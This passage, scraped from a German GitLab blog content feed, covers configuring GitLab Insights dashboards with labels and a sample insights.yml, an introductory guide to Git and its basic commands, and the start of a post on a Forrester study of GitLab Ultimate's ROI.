verfügbar)](https://docs.gitlab.com/ee/user/group/value_stream_analytics/): Damit kannst du den Arbeitsfluss von der Idee bis zur Produktion visualisieren.\n5. [Einblicke (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/project/insights/): Entdecke und visualisiere Daten über deine Projekte und Gruppen.\n\nDiese Metriken bieten wertvolle Einblicke in deinen Entwicklungsprozess und helfen Teams dabei, Engpässe zu identifizieren, Workflows zu optimieren und datengestützte Entscheidungen zu treffen.\n\n## Nutze Labels für bestimmte Metriken\n\nEine der leistungsstärksten und doch unterschätztesten Funktionen von GitLab sind Labels, mit denen du Metriken mit absoluter Präzision filtern kannst. Wenn du Labels strategisch Tickets, Merge Requests und Epics zuweist, kannst du individuelle Ansichten erstellen, die zielgenaue Einblicke in die Leistung und den Fortschritt deines Projekts bieten.\n\nLabels fungieren in GitLab als vielseitige Kennungen, mit denen du deine Workitems flexibel kategorisieren und organisieren kannst. Egal, ob du die Entwicklung von Funktionen, Bug Fixes oder teamspezifische Aufgaben nachverfolgst: Mit Labels kannst du deine Projektdaten aufschlüsseln und erkenntnisreiche Muster und Entwicklungen aufdecken. \n\nDas Konzept ist ähnlich wie Tags in Cloud-Bereitstellungen, wo die Ressourcen gekennzeichnet werden, um sie einfacher verwalten, die Kosten zuordnen und betriebliche Einblicke gewinnen zu können. Indem du deine Workitems sorgfältig mit Labels kennzeichnest, baust du ein cleveres Label-System auf, mit dem du ganz einfach individuelle Dashboards und Berichte erstellen kannst. Durch diesen Ansatz kannst du dich auf die Metriken konzentrieren, die für dein Team oder deine Stakeholder am wichtigsten sind. So erhältst du eine klare Fokusansicht des Zustands und der Dynamik deines Projekts.\n\n## So konfigurierst du GitLab Insights\n\nMit GitLab Insights kannst du Daten über deine Projekte und Gruppen untersuchen und visualisieren. Sie bieten wichtige Analysen zu verschiedensten Aspekten, wie etwa den in einem bestimmten Zeitraum erstellten und geschlossenen Tickets, die durchschnittliche Zeit, die es bis zur Zusammenführung eines Merge Request dauert, sowie die Qualität der Priorisierung. Einblicke können sowohl für Projekte als auch für Gruppen konfiguriert werden.\n\n**So konfigurierst du Insights:**\n\n1. Für Projekteinblicke:\n   * Erstelle eine Datei mit dem Namen `.gitlab/insights.yml` im Stammverzeichnis deines Projekts.\n2. Für Gruppeneinblicke:\n   * Erstelle die Datei `.gitlab/insights.yml` in einem Projekt, das zu deiner Gruppe gehört.\n * Gehe zu **Einstellungen > Allgemein** deiner Gruppe.\n * Klappe den Abschnitt **Analyse** aus und suche den Abschnitt **Insights**.\n * Wähle das Projekt aus, das die Konfigurationsdatei enthält, und speichere die Änderungen.\n\nDie Datei `.gitlab/insights.yml` ist eine YAML-Datei, in der du die Struktur und Reihenfolge der Diagramme in einem Bericht sowie den Stil der anzuzeigenden Diagramme definieren kannst. Jede Diagrammdefinition enthält Parameter wie Titel, Beschreibung, Typ und Abfrage, um die Datenquelle und die Filterbedingungen anzugeben.\n\nUm Einblicke anzuzeigen, gehe in deinem Projekt oder deiner Gruppe zu **Analysieren > Insights**.\n\n![Standard-Dashboard für Insights anzeigen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752378202/Blog/oqek65jmi5kclpbaqsca.png)\n\n## Einblicke in Merge Requests anpassen\n\nWährend die Standardansicht wertvolle Rohinformationen liefert, können wir das Insights-Dashboard anpassen, um zusätzliche Informationsebenen anzuzeigen, z. B. welches Team für welchen Merge Request verantwortlich war und welche Art von Problem gelöst wurde.\n\n## Merge-Request-Einblicke für jede Squad und jeden Anforderungstyp\n\nEs kann herausfordernd sein, die Produktivität einer Squad in GitLab zu messen, vor allem wenn die Gruppen- und Untergruppenstruktur in GitLab nicht perfekt mit der Organisation deines Squad übereinstimmt. So kannst du diese Herausforderungen meistern und die Produktivität deiner Squads effektiv verfolgen:\n\n### Richte Squad-basierte Metriken ein\n\n1. **Erstelle Labels:** Erstelle eindeutige Labels mit begrenztem Geltungsbereich für jede Squad (z. B. `squad::alpha`, `squad::beta`) und jeden Anforderungstyp (z. B. `type::bug`, `type::feature`, `type::maintenance`).\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ZUOzORIUJeU?si=T8eHeGizS3blYFHB\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n2. **Weise Labels zu:** Weise diese Squad-Labels konsequent allen Tickets und Merge Requests zu, die von der jeweiligen Squad bearbeitet werden, egal in welchem Projekt oder welcher Gruppe sie sind.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/fJ9entEBZG8?si=MlM6mKirEdkmwDDJ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Tipps:**\n   * Verwende die GitLab-API, um Labels gesammelt an bestehende geöffnete, zusammengeführte und geschlossene MRs zuzuweisen.\n   * Du kannst Labels im Rahmen deiner GitLab-CI-Pipeline hinzufügen/entfernen/aktualisieren.\n * Nutze den GitLab Triage Bot, um den Label-Prozess zu automatisieren.\n\n3. Richte ein Dashboard ein: Erstelle die Datei `.gitlab/insights.yml` in deinem Projekt-Repository mit benutzerdefinierten Diagrammen für teamspezifische und typspezifische Einblicke in Merge Requests.\n\n```\n\n## Default Merge Requests insights.yml \nmergeRequests:\n  title: Merge requests dashboard\n  charts:\n    - title: Merge requests merged per week \n      type: bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          group_by: week\n          period_limit: 12\n    - title: Merge requests merged per month\n      type: bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          group_by: month\n          period_limit: 3\n\n## Per-teams Merge Requests insights.yml\nmergeRequestsTeams:\n  title: Merge requests dashboard per teams\n  charts:\n    - title: Merge requests merged per week \n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          group_by: week\n          period_limit: 12\n          collection_labels:\n            - squad::alpha\n            - squad::beta\n    - title: Merge requests merged per month\n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          group_by: month\n          period_limit: 3\n          collection_labels:\n            - squad::alpha\n            - squad::beta\n\n## Per-teams and Type Merge Requests insights.yml\nmergeRequestsTeamsAndType:\n  title: Per Teams and Type - Merge requests dashboard\n  charts:\n    - title: Merge requests merged per week - Squad Alpha\n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          filter_labels: squad::alpha\n          collection_labels:\n            - type::feature\n            - type::bug\n            - type::maintenance\n          group_by: week\n          period_limit: 12\n    - title: Merge requests merged per month - Squad Alpha\n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          filter_labels: squad::alpha\n          collection_labels:\n            - type::feature\n            - type::bug\n            - type::maintenance\n          group_by: month\n          period_limit: 3\n    - title: Merge requests merged per week - Squad Beta\n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          filter_labels: squad::beta\n          collection_labels:\n            - type::feature\n            - type::bug\n            - type::maintenance\n          group_by: week\n          period_limit: 12\n    - title: Merge requests merged per month - Squad Beta\n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          filter_labels: squad::beta\n          collection_labels:\n            - type::feature\n            - type::bug\n            - type::maintenance\n          group_by: month\n          period_limit: 3\n\n```\n\nIndem du diese Anpassungen implementierst, kannst du sinnvolle Dashboards erstellen, in denen du einen klaren Überblick über die Merge-Request-Aktivitäten pro Team und Anforderungstyp erhältst. So kannst du Trends im Zeitverlauf visualisieren, die Leistung zwischen Squads vergleichen und die Verteilung der verschiedenen Arbeiten für jede Squad analysieren.\n\n![Dashboards mit Ansicht der MR-Aktivität pro Team und Anforderungstyp](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097218/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097217972.png)\n\n![Dashboard zum Vergleich der Leistung zwischen Squads](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097218/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097217972.png)\n\n## Lege jetzt los\n\nGitLab Insights ist nur die Spitze des Eisbergs, wenn es um Indikatoren und Analysen geht. Um die gesamte Palette der leistungsstarken Analysefunktionen von GitLab wie Wertstromanalyse, CI/CD-Analyse und Code-Review-Metriken zu entdecken, sieh dir unsere Produkttour zum Wertstrommanagement an:\n\n[![Produkttour zum Wertstrommanagement](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097218/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097217974.png)]( https://gitlab.navattic.com/vsm)\n\n> Bist du bereit, jetzt selbst Metriken zu nutzen? Melde dich jetzt für eine [kostenlose Testversion von GitLab Ultimate](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com%2F) an und schöpfe das volle Potenzial von datengestützten DevSecOps aus.\n\n## Mehr erfahren\n- [Tool zur Erstellung geplanter Berichte vereinfacht das Wertstrommanagement (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/new-scheduled-reports-generation-tool-simplifies-value-stream-management/)\n- [Erste Schritte mit dem neuen Wertstrom-Dashboard von GitLab (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/getting-started-with-value-streams-dashboard/)\n- [KI-Impact-Analyse-Dashboard misst den ROI von KI](https://about.gitlab.com/de-de/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n",[110,746,680,745,767,2113],{"slug":2478,"featured":92,"template":682},"data-driven-devsecops-exploring-gitlab-insights-dashboards","content:de-de:blog:data-driven-devsecops-exploring-gitlab-insights-dashboards.yml","Data Driven Devsecops Exploring Gitlab Insights Dashboards","de-de/blog/data-driven-devsecops-exploring-gitlab-insights-dashboards.yml","de-de/blog/data-driven-devsecops-exploring-gitlab-insights-dashboards",{"_path":2484,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2485,"content":2491,"config":2498,"_id":2500,"_type":16,"title":2501,"_source":17,"_file":2502,"_stem":2503,"_extension":20},"/de-de/blog/what-is-git-the-ultimate-guide-to-gits-role-and-functionality",{"ogTitle":2486,"schema":2487,"ogImage":2488,"ogDescription":2489,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2490,"title":2486,"canonicalUrls":2490,"description":2489},"Was ist Git? | Einfach erklärt | Praxis-Tutorial","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Was ist Git? Der ultimative Leitfaden zur Rolle und Funktionalität von Git\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2024-11-14\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673991/Blog/Hero%20Images/Git.jpg","Wir zeigen dir, was hinter Git steckt und wie du das Tool optimal nutzt. ✓ Definition ✓ Bedeutung ✓ Funktionen ✓ Vorteile ✓ Befehle ➤ Jetzt Leitfaden lesen!","https://about.gitlab.com/blog/what-is-git-the-ultimate-guide-to-gits-role-and-functionality",{"heroImage":2488,"body":2492,"authors":2493,"updatedDate":1232,"date":2494,"title":2495,"tags":2496,"description":2497,"category":1033},"Git ist ein unverzichtbares Tool in der modernen Softwareentwicklung. In diesem umfassenden Leitfaden erklären wir detailliert, was das Git-Tool ist, welche Rolle es bei der Versionsverwaltung von Quellcode spielt und wie es funktioniert. Egal, ob du Anfänger(in) oder Expert(in) bist: Dieser Leitfaden vermittelt dir ein tiefes Verständnis von Git und seinen vielen Funktionen.\n\n## Inhalt - Alles über Git\n\n- [Was ist Git?](#was-ist-git%3F)\n- [Was ist Versionskontrolle?](#was-ist-versionskontrolle%3F)\n- [Was sind die Funktionen von Git?](#was-sind-die-funktionen-von-git%3F)\n- [Visualisierung deines Projektverlaufs](#visualisierung-deines-projektverlaufs)\n- [Mehr Autonomie für Teams](#mehr-autonomie-f%C3%BCr-teams)\n- [Optimierung von Entwicklungs-Workflows](#optimierung-von-entwicklungs-workflows)\n- [Was sind die Vorteile von Git?](#was-sind-die-vorteile-von-git%3F)\n- [Was sind die Hauptbefehle von Git?](#was-sind-die-hauptbefehle-von-git%3F)\n- [Git und GitLab](#git-und-gitlab)\n- [FAQ zu Git](#faq-zu-git)\n\n## Was ist Git?\n\nGit ist ein Tool zur Versionskontrolle, das sich in der Welt der Softwareentwicklung schnell zu einem Muss entwickelt hat. Da mit Git Änderungen an Projekten genauestens verfolgt werden können, ist es ein unverzichtbares Tool für Entwickler(innen), um ihre Projekte effizient zu verwalten. Damit es für alle, die in der Softwareentwicklung weiterkommen möchten, unverzichtbar, Git zu beherrschen.\n\n### Was ist Versionskontrolle?\n\n[Versionskontrolle](https://about.gitlab.com/de-de/topics/version-control/) ermöglicht es dir, Änderungen am Quellcode einer Software zu verfolgen. Daher besteht jede gelieferte Softwareversion aus einer Reihe bestimmter Versionen jeder ihrer Komponenten und Quellcodedateien. Ein Icon wurde beispielsweise nur zwei Mal geändert, während eine Codedatei im Laufe der Zeit dutzende Änderungen durchgemacht hat.\n\n> **Über 6,4 Mio. Builds pro Monat: So transformiert Siemens seine Softwareentwicklung mit GitLab** Über 40.000 Entwickler(innen) bei Siemens nutzen GitLab, um weltweit zusammenzuarbeiten und jeden Monat mehr als 6,4 Millionen Software-Versionen automatisch bereitzustellen. Erfahre, wie eine offene DevOps-Kultur und eine zentrale Plattform die Effizienz und Sicherheit steigern. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/siemens/)\n\n## Was sind die Funktionen von Git?\n\nIn der Entwicklung ist es wichtig, Änderungen am Quellcode einer Software rigoros zu verwalten. Ohne diese kann unmöglich sichergestellt werden, dass Entwicklungsteams konsistent und zuverlässig arbeiten können. Ein fein abgestimmtes Änderungsmanagement kann es auch einfacher machen, die Ursache eines Problems zu identifizieren. Außerdem verringert es das Risiko von Konflikten und das Überschreiben von Dateien. In der Tat erleichtert und rationalisiert Git die Versionsverwaltung von Software genau zu diesem Zweck.\n\nUm Git und seine Funktionsweise besser zu verstehen, haben wir hier einige Hauptfunktionen angeführt, mit denen die Quellcodeverwaltung sowie de Zusammenarbeit zwischen Teams auf einfache Weise optimiert werden kann.\n\n### Visualisierung deines Projektverlaufs\n\nIn der Welt der Softwareentwicklung ist der [Commit-Verlauf](https://about.gitlab.com/blog/keeping-git-commit-history-clean/) ein Grundpfeiler, um den Projektfortschritt auf Git zu verfolgen. Daher bietet Git Entwickler(inne)n einen detaillierten Gesamtverlauf aller Änderungen am Quellcode.\n\nFür jeden neuen Commit wird Folgendes erfasst:\n\n* Spezifische Änderungen an Projektdateien\n* Eine erläuternde Nachricht des Entwicklerteams, das die Änderung vorgenommen hat\n\nDiese Elemente tragen dazu bei, die Kommunikation und den Auftrag des Entwicklungsteams zu verbessern, sodass es die Einzelheiten jeder Codeänderung schneller verstehen kann.\n\nMit diesem Verlauf kannst du nicht nur die Entwicklung des Projekts überwachen, sondern auch zurückgehen und Teile der Änderung rückgängig machen oder auch nur einen Teil der Änderungen von einem Branch zu einem anderen übertragen. Diese Funktion ist daher entscheidend, um die Transparenz, Konsistenz und Qualität des Quellcodes eines Projekts in Git zu wahren. Außerdem wird dadurch die Zusammenarbeit im Entwicklungsteam gefördert und die betriebliche Effizienz bei der Problembehebung gesteigert.\n\nSieh dir in unserem Tutorial an, [wie du deinen ersten Git-Commit erstellst](https://docs.gitlab.com/ee/tutorials/make_first_git_commit/).\n\n### Mehr Autonomie für Teams\n\nEin weiteres wesentliches Merkmal des Git-Tools ist die [verteilte Entwicklung](https://git-scm.com/about/distributed). Dank seiner dezentralen Struktur ermöglicht es Git den Teams, gleichzeitig am selben Projekt zu arbeiten. Jedes Teammitglied hat seine eigene Kopie des Projekts, in der Änderungen versioniert werden können. Dadurch können sie autonom an bestimmten Funktionen arbeiten, ohne dass es zu Konflikten oder Überschreibungen kommt. Dieser Ansatz bietet den Entwickler(inne)n große Flexibilität, denn so können sie verschiedene Ideen ausarbeiten oder mit neuen Funktionen experimentieren, ohne die Arbeit ihrer Kolleg(inn)en zu stören.\n\nDie verteilte Entwicklung verbessert auch die Resilienz gegenüber Serverausfällen. So hat jede Person im Falle eine Ausfalls eine Kopie, mit der sie offline weiterarbeiten kann. Die Änderungen können dann synchronisiert werden, sobald der Server wieder verfügbar ist. Dadurch wird verhindert, dass die Arbeit des Entwicklungsteams unterbrochen wird und es zu Einschränkungen der Betriebsteams kommt.\n\n### Optimierung von Entwicklungs-Workflows\n\nEine der leistungsstärksten Funktionen von Git ist die Möglichkeit, [Branches und ihre Zusammenführer zu verwalten (Branching und Zusammenführen)](https://git-scm.com/about/branching-and-merging). Dadurch können Teams parallel auf kooperative und organisierte Weise arbeiten. Jede neue Ergänzung am Code und jeder Bugfix kann unabhängig getestet und entwickelt werden, um sicherzustellen, dass er zuverlässig ist. Die Entwickler(innen) können die Änderungen dann einfach in den Haupt-Branch des Projekts zusammenführen.\n\nDurch diesen Ansatz können Teams die Entwicklung des Codes nachverfolgen, einfach und effizient zusammenarbeiten, Konflikte zwischen verschiedenen Versionen reduzieren und die kontinuierliche Integration der entwickelten Funktionen sicherstellen.\n\nMit diesen beiden Funktionen können Teams kontinuierlich und im Sinne der Agile-Methodik Projekte entwickeln und regelmäßig neue Codeversionen bereitstellen. Diese Vorgehensweise erleichtert das Change Management deutlich und senkt gleichzeitig das Fehlerrisiko.\n\n## Was sind die Vorteile von Git?\n\nUm Git wirklich zu verstehen, musst du all die Vorteile kennen, die es deinen Entwicklungsteams bietet:\n\n* **Dezentralisierte Versionsverwaltung:** Mit Git haben alle Entwickler(innen) eine vollständige Kopie des Projektverlaufs und können dadurch unabhängig arbeiten.\n* **Ein Tool für Sicherheit:** Anders als andere Tools zur Versionskontrolle wurde Git mit dem Gedanken entwickelt, die Integrität aller Elemente im Repository mit einem kryptografischen Secure Hash Algorithm (aktuell SHA1 und [SHA-256](https://about.gitlab.com/blog/gitlab-now-supports-sha256-repositories/)) sicherzustellen. Dieser Algorithmus soll den Code und den Verlauf des Projekts vor Änderungen – egal, ob böswillig oder nicht – schützen. Darüber hinaus kann jeder Commit (also jede Erstellung einer neuen Version) automatisch signiert werden (GPG), um die Nachvollziehbarkeit zu gewährleisten. Dies macht Git zu einem besonders sicheren Tool, das die Integrität und Authentizität deines Quellcodes und seines Verlaufs sicherstellt.\n* **Ein schnelles und effektives Tool:** Das Git-Tool wurde entwickelt, um die Effizienz bei der Entwicklung zu maximieren. Dank seiner Geschwindigkeit können Entwickler(innen) komplexe Vorgänge wie Commits, Branching und das Zusammenführen äußerst rasch durchführen, und das sogar in großen Codebases. Es sorgt auch für einen minimalen Fingerabdruck auf der Festplatte und beim Netzwerkaustausch. Diese Effizienz führt zu kürzeren Reaktionszeiten bei Backups, Beratungen und Änderungen am Projektverlauf.\n* **Mehr Flexibilität beim Arbeiten:** Git unterstützt eine Vielzahl an Entwicklungs-Workflows. Egal, ob du zentralisierte Entwicklungsmodelle oder eher einen linearen Ansatz bevorzugst: Git lässt sich einfach anpassen. Diese Fähigkeit, verschiedene Workflows zu verwalten, bietet Teams zahlreiche Optionen für ihre Arbeitsweise.\n* **Einfache Integration:** Git zeichnet sich dadurch aus, dass es sich in eine ganze Reihe bestehender Entwicklungstools und -plattformen integrieren lässt. Durch diese breite Kompatibilität können Teams die besten DevSecOps-Tools und -Praktiken nutzen und dadurch ihre Projekte effizienter verwalten.\n* **Ein weithin anerkanntes Open-Source-Projekt:** Ein weiterer bedeutender Vorteil von Git ist, dass es ein Open-Source-Projekt ist und von einer dynamischen, engagierten Community unterstützt wird, wodurch die kontinuierliche Weiterentwicklung sichergestellt wird. Durch diese aktive Beteiligung von Einzelpersonen und Unternehmen in der Git-Community kommen im Rahmen kontinuierlicher Updates regelmäßig neue Funktionen und Verbesserungen hinzu.\n\n## Was sind die Hauptbefehle von Git?\n\nDas Open-Source-Projekt Git bietet eine Vielzahl an Befehlen, um die Teamarbeit zu erleichtern.  \nHier sind einige der am häufigsten verwendeten Befehle.\n\n* **git init:** Ein neues Git-Repository initialisieren.  \n* **git clone \\[url\\]:** Ein vorhandenes Repository klonen.  \n* **git add \\[file\\]:** Eine Datei zum Index hinzufügen.  \n* **git commit:** Die vorgenommenen Änderungen validieren.  \n* **git commit \\-m \"message\":** Änderungen mit einer Nachricht validieren.  \n* **Git-Status:** Den Status der Dateien im Arbeitsverzeichnis anzeigen.  \n* **git push:** Änderungen an das Remote-Repository senden.  \n* **git pull:** Änderungen aus dem Remote-Repository abrufen und sie mit dem lokalen Repository zusammenführen. Alles über git pull erfährst du in diesem umfangreichen Artikel [git fetch vs. git pull](https://about.gitlab.com/de-de/blog/git-pull-vs-git-fetch-whats-the-difference/).\n\nDiese Befehle sind zwar unerlässlich, um mit Git loszulegen – es gibt aber noch viele andere Befehle. Du findest sie in der [Liste der Git-Befehle](https://git-scm.com/docs).\n\n## Git und GitLab\n\nGitLab ist eine kollaborative Open-Source-Entwicklungsplattform, die alle Phasen des DevSecOps-Lebenszyklus abdeckt und einen Git-Server für eine effiziente Teamzusammenarbeit bietet.\n\nNeben der Quellcodeverwaltung bietet GitLab ein umfassendes Programmpaket für kontinuierliche Integration und Verteilung, Verwaltung von Ergebnissen, Sicherheits- und Vorfallmanagement sowie Nachvollziehbarkeit, Aufgabenplanung und -nachverfolgung in Echtzeit, Bereitstellungsüberwachung, Software-Versionsverwaltung und die zugehörigen Dokumente.\n## FAQ zu Git\n\n### Warum sollte man Git verwenden?\n\nBei Git dreht sich alles um Effizienz. Durch das dezentrale System von Git, das auf Branching und Funktionen zum Zusammenführen basiert, können Entwicklungsteams am selben Projekt arbeiten, ohne sich gegenseitig zu stören und (was noch wichtiger ist) ohne Versionskonflikte zu erschaffen.\n\n### Ist Git Software?\n\nGit ist ein Open-Source-Projekt. Daher ist es kostenlos und für alle offen. Du musst jedoch [Git](https://docs.gitlab.com/ee/topics/git/how_to_install_git/) auf deinem Gerät installieren, bevor du mit der Arbeit beginnen kannst.\n\n### Was ist ein Branch in Git?\n\nIn Git ist ein Branch ein Zeiger auf einen Änderungsverlauf. Somit verweist jeder Haupt-Branch auf den letzten Commit, der auf ihm ausgeführt wurde. Es ist daher möglich, viele parallele Branches zu haben, die alle ihren eigenen Verlauf, jedoch die gleiche Wurzel haben.\n\n### Was ist ein Commit?\n\nIn Git ist ein Commit ein Datensatz von Änderungen am Quellcode einer Software. Jeder Commit wird von einer erläuternden Nachricht begleitet, die den Gesamtverlauf aller Änderungen dokumentiert. Dies erleichtert die Nachverfolgung von Projekten. Außerdem gibt es immer die Möglichkeit, bei Problemen zu früheren, funktionierenden Versionen zurückzukehren.\n\n### Was sind die Vorteile von Branches in Git?\n\nDurch die Entwicklung von Funktionen in Branches können Entwickler(innen) gleichzeitig an mehreren unterschiedlichen Funktionen arbeiten. Darüber hinaus wird dadurch vermieden, dass der Haupt-Branch mit instabilem Code kompromittiert wird. Außerdem ist die Implementierung von Branches in Git deutlich leichter als in anderen Versionskontrollsystemen.",[826],"2024-11-14","Was ist Git? Der ultimative Leitfaden",[849,787,913],"Möchtest du deine Projekte mit Git umsetzen? Entdecke alle Vorteile und Funktionen von Git in unserem umfassenden Guide.",{"slug":2499,"featured":6,"template":682},"what-is-git-the-ultimate-guide-to-gits-role-and-functionality","content:de-de:blog:what-is-git-the-ultimate-guide-to-gits-role-and-functionality.yml","What Is Git The Ultimate Guide To Gits Role And Functionality","de-de/blog/what-is-git-the-ultimate-guide-to-gits-role-and-functionality.yml","de-de/blog/what-is-git-the-ultimate-guide-to-gits-role-and-functionality",{"_path":2505,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2506,"content":2512,"config":2519,"_id":2521,"_type":16,"title":2522,"_source":17,"_file":2523,"_stem":2524,"_extension":20},"/de-de/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years",{"ogTitle":2507,"schema":2508,"ogImage":2509,"ogDescription":2510,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2511,"title":2507,"canonicalUrls":2511,"description":2510},"GitLab Ultimate: 483% ROI über drei Jahre erreicht","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Wirtschaftliche Gesamtauswirkungen von GitLab Ultimate: 483 % ROI über 3 Jahre\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2024-11-13\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098354/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_5XrohmuWBNuqL89BxVUzWm_1750098354056.png","Eine Untersuchung von Forrester Consulting zu GitLab Ultimate zeigte, dass die DevSecOps-Plattform die Sicherheitslage verbesserte und die 5-fache Zeit bei Sicherheitsaktivitäten eingespart werden konnte.\n","https://about.gitlab.com/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years",{"heroImage":2509,"body":2513,"authors":2514,"updatedDate":2515,"date":2516,"title":2517,"tags":2518,"description":2510,"category":723},"Eine leistungsstarke DevSecOps-Plattform optimiert den Betrieb, verhindert, dass Sicherheitslücken deinen Betrieb stören (und dadurch Kosten verursachen), steigert die Produktivität und fördert eine Kultur der Innovation und Zusammenarbeit. Genau dafür haben wir GitLab entwickelt – und der Ultimate-Tarif steht wie kein anderer für die volle Leistung unserer Plattform. Um zu sehen, wie unser Produkt in der realen Welt besteht, haben wir Forrester Consulting beauftragt, eine Untersuchung der wirtschaftlichen Gesamtauswirkungen von GitLab Ultimate vorzunehmen und den sogenannten „Total Economic Impact™“ zu messen. Hier siehst du auf einen Blick, was wir herausgefunden haben.\n\nLaut Studie kann GitLab für ein fiktives kombiniertes Unternehmen, das aus den Daten der befragten Kund(inn)en zusammengeführt wurde, folgende Ergebnisse erzielen:\n\n* **Drei-Jahres-ROI von 483 %**\n* **400 % Verbesserung der Produktivität der Entwickler(innen)**\n* **15 x kürzere Zeit bis zur ersten Release\u003Csup>1\u003C/sup>**\n* **5-fache Zeitersparnis bei Sicherheitsaktivitäten**\n\n**Insgesamt ermöglichte GitLab 50 % mehr Arbeit mit geschäftlichem Wert.** \n\nDie Zahlen zeichnen ein klares Bild: Die Plattform von GitLab verändert die Zusammenarbeit von Teams. Egal, ob du Führungskraft im Bereich der Anwendungssicherheit bist und die Sicherheitslage des Unternehmens verbessern musst, als Entwickler(in) schneller höherwertigen Code liefern sollst oder als CTO nach einer skalierbaren, sicheren und flexiblen DevSecOps-Plattform suchst: Diese Studie zeigt, dass GitLab Ultimate hält, was es verspricht. Die vollständige Methodik findest du weiter unten. Nun wollen wir die Ergebnisse aufschlüsseln.\n\n> Lade den vollständigen Bericht (auf Englisch) hier herunter: [2024 Forrester Consulting „Total Economic Impact of GitLab Ultimate“](https://about.gitlab.com/resources/study-forrester-tei-gitlab-ultimate/).\n\n## **1\\. Drei-Jahres-ROI von 483 %**\n\n*„Der große Gewinn für uns war die Effizienz – sowohl in der Verwaltung als auch im Gesamtbetrieb. Jetzt können alle zusammenarbeiten und wir können unsere Pipeline ganz einfach automatisieren. Außerdem kann ich die Personen effizienter zu anderen Aufgaben verschieben. Ich muss sie jetzt nicht mehr in verschiedenen Tools in den einzelnen Programmen schulen, sondern es reicht, wenn man GitLab erlernt – und schon kann man losarbeiten.“* - CTO und Senior-Vizepräsident(in), Verteidigungsindustrie\n\nDie Studie zeigte, dass sich die Einführung von GitLab Ultimate in einem Team innerhalb von sechs Monaten zu amortisieren begann, vor allem durch die verbesserte Effizienz. Mit einem **ROI von 483 % über drei Jahre** können Unternehmen die Kosten ihrer Software-Toolchains um 25 % senken und die Zeit, die IT-Teams für die Verwaltung komplexer Toolchains aufwenden, um 75 % verkürzen. Neben den Kosteneinsparungen bringt der Umstieg auf eine vereinheitlichte Software fundamentale Verbesserungen hinsichtlich dessen, wie Teams Software entwickeln und bereitstellen.\n\n## **2\\. 400 % Produktivitätssteigerung**\n\n*„Wenn ich mit unseren Entwickler(inne)n über GitLab spreche, sind sie sich einig, dass die Lösung die Produktivität in unserem Unternehmen in allen Teams und Positionen gesteigert hat. Wir haben jetzt eine Plattform mit Funktionen, die alle nutzen können.“* - Softwarearchitekt(in), Energie-/Forschungsbranche\n\nEntwickler(innen) sind in Umgebungen am produktivsten, in denen sie einfach und ohne Unterbrechung zwischen den Aufgaben wechseln können. Laut der Studie können Entwickler(innen) bis zu 305 Stunden pro Jahr durch [Testautomatisierung](https://about.gitlab.com/topics/devops/devops-test-automation/) mit GitLab einsparen, denn damit können sie häufiger testen und Fehler schneller beheben – und all das auf einer einzigen Benutzeroberfläche ohne Kontextwechsel. Dank diesem optimierten Workflow können sie sich auf das Programmieren konzentrieren und müssen nicht mehr verschiedene Tools und Prozesse koordinieren.\n\nDie Produktivitätssteigerung ist auch beim Onboarding zu merken: Neue Mitarbeitende im Softwareentwicklungsteam des kombinierten Unternehmens erreichten um 75 % schneller ihre volle Produktivität (d. h. in 1,5 Wochen anstatt in 1,5 Monaten). Die Auswirkungen sind klar: Alle im Team können dadurch schneller Arbeit leisten, die wirklich etwas bewirkt.\n\n## **3\\. 15 x kürzere Zeit bis zur ersten Veröffentlichung**\n\n*„Software ist unsere Superkraft. Sie wird in Geschwindigkeit sowie in der Fähigkeit gemessen, unseren Kund(inn)en neue Funktionen zu bieten. Damit dies unser Hauptaugenmerk 